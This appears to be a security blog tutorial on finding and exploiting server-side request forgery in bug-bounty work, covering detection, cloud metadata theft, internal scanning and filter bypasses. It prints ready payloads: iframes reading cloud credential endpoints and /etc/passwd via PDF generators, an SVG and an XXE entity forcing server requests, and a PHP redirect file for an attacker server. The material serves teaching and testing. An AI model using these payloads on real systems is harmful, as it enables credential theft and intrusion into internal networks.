Introduction
Server Side Request Forgery can technically be viewed as an Authorization issue as you are manipulating the server to make requests on your behalf. Often the server will have authorization to resources you don't have (Think localhost or file://etc/passwd) and as such you are abusing the trust relationship the server has with those resources for your gain!
SSRF attacks vary in impact but can be broken down into 2 main categories.
1) External SSRF - forcing the server to make external requests on your behalf. Usually not very impactful, but many bug bounty programs will consider this a P4.
I should point out, that I've found external SSRF to be very useful in uncovering the origin IP of an application when it is behind a WAF provider, such as Cloudflare.
2) Internal SSRF - forcing the server to access internal resources potentially uncovering secrets and sometimes even gaining RCE.
When discussing internal resources we can once again break this down into 2 categories.
- SSRF attacks against the server itself
In an SSRF attack against the server itself, the attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface. This will typically involve supplying a URL with a hostname like 127.0.0.1 (a reserved IP address that points to the loopback adapter) or localhost (a commonly used name for the same adapter)
- SSRF attacks against other back-end systems
Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users. These systems often have non-routable private IP addresses. Since the back-end systems are normally protected by the network topology, they often have a weaker security posture. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems.
Detection
Now that we got the basics out of the way let's discuss Detecting SSRF.
Parameters
I've mentioned in a previous blog my emphasis on paying close attention to parameter names and their values. Some research has been done which has compiled lists of the most common parameters that indicate requests being performed by the server.
GF Patterns SSRF provides one such list. Below are a number of examples.
"reference=",
"site=",
"html=",
"val=",
"validate=",
"domain=",
"callback=",
"return=",
"page=",
"feed=",
"host=",
"port=",
You can also use a tool like HUNT Scanner, found inside the bApp store, to help highlight all potential SSRF parameters.
Focus on features:
Features taking URLs as input - RSS feed, API testbed, image downloader, SSO configuration, Webhooks, etc...
Upload formats embedding URLs - HTML, XML + doctypes, SVG, Office
Capture an Interaction
The first thing you need to do is to capture a SSRF interaction provoked by you. To capture an HTTP or DNS interaction you can use app.interactsh.com
Great! Now that we have confirmation of a Server-Side Request we can move on to exploitation.
Exploitation
Aggari.fr provided some insight into his approach to impactful SSRF vulns.
#1 metadata (easy, possibly high impact)
#2 loopback (not limited to localhost)
#3 internal network (RFC 1918)
#4 public IP space (bypassing ACLs).
Cloud SSRF
The most straightforward exploitation that I'm familiar with is the famous credential extraction of cloud service providers. The impact here can range depending on the permissions the cloud instance is using, however, this will generally be classified as a high finding.
Hacktricks has an excellent page on all the different cloud ssrf endpoints and I highly recommend checking that page out Link here
Network and Port Scanning
When you don't receive the response data then it's time to try network and port scanning to provide impact. Using a tool like burp intruder could help speed up the process.
1) Send the request to Burp Intruder
2) Choose an internal network such as 192.168.1.1 and highlight the first 1 to the left (192.168.§1§.1). I say this because we have a higher chance of finding a network in use by focusing on finding all the gateways and then bruteforcing the hosts.
3) Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the "From" and "To" and "Step" boxes respectively.
4) Click "Start attack".
Note: Once internal resources are detected, there are endless amount of paths to take to further exploit the services. Refer to this SSRF Bible
PDF Generator
If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF.
Most modern web applications performing PDF generation do not actually generate PDFs directly; this requires a lot of hand tweaking, generation of completely separate templates, etc. Instead, they perform HTML->PDF conversion. As such, any XSS into this data gets you running in the context of the server -- not the client!
The attack strategy used will depend on what conversion system is in use in the application, but these can be broken into two categories: Headless browsers and HTML renderers.
<iframe src=“http://169.254.169.254/latest/meta-data/iam/security-credentials/Worker” width=“100%”></iframe>
<link rel=attachment href=”file:///etc/passwd”>
<html><iframe+src=”file:///etc/passwd”+style=”width:100%;+height:100%” /></html>
<iframe src='file:///etc/passwd'></iframe>
Nahamsec - OWNING THE CLOUT THROUGH SSRF AND PDF GENERATORS
A very clear article on this method can be found here
Upload Format SVG
The first time I saw this was from a nice github repo svg-cheatsheet which lists a bunch of SVG payloads to coerce the backend server to make some nice requests on your behalf.
Example:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://ssrf.com/server.txt" height="200" width="200"/>
</svg>
Exploiting XXE to perform SSRF attacks
Aside from retrieval of sensitive data, the other main impact of XXE attacks is that they can be used to perform server-side request forgery (SSRF).
To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target and use the defined entity within a data value. If you can use the defined entity within a data value that is returned in the application's response, then you will be able to view the response from the URL within the application's response, and so gain two-way interaction with the back-end system. If not, then you will only be able to perform blind SSRF attacks.
In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
This attack has the same fundamental structure as the SVG exploit mentioned above.
To be honest the list is endless. As mentioned above, keep your eyes open for all mechanisms that could take a URL as a location and focus focus focus.
Bypassing Filters
In this section, I would like to touch on a number of neat methods to bypass SSRF filter protections.
Can't access internal addresses:
If you find that your classic payloads 127.0.01 or localhost are blocked (but you have confirmed external interaction).
You then tried the basics:
Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.
Check out this SSRF IP Converter
@thedawgyg tweeted this idea
Don't worry, there are a number of out-the-box methods to try and bypass this restriction.
1) DNS rebinding - Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose. You can also use lock.cmpxchg8b.com/rebinder.html service
For a great writeup see this blog
another cool service is called nip.io
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
For another great writeup see this blog
2) 303 Redirect
Save this code as 1.php on your attacker server
<?php header('Location: http://169.254.169.254/latest/meta-data/', TRUE, 303); ?>
Now try target.com/image?url=http://attacker/1.php
Read this writeup to see an example.
Blind SSRF
I haven't touched on this topic as of just yet however for the interested reader, assetnote put out a great blog here
Resources:
github.com/cujanovic/SSRF-Testing
github.com/swisskyrepo/SSRFmap
portswigger.net/web-security/ssrf
Wanna try a nice lab? check out this article and the associated lab Cloud is more fun with SSRF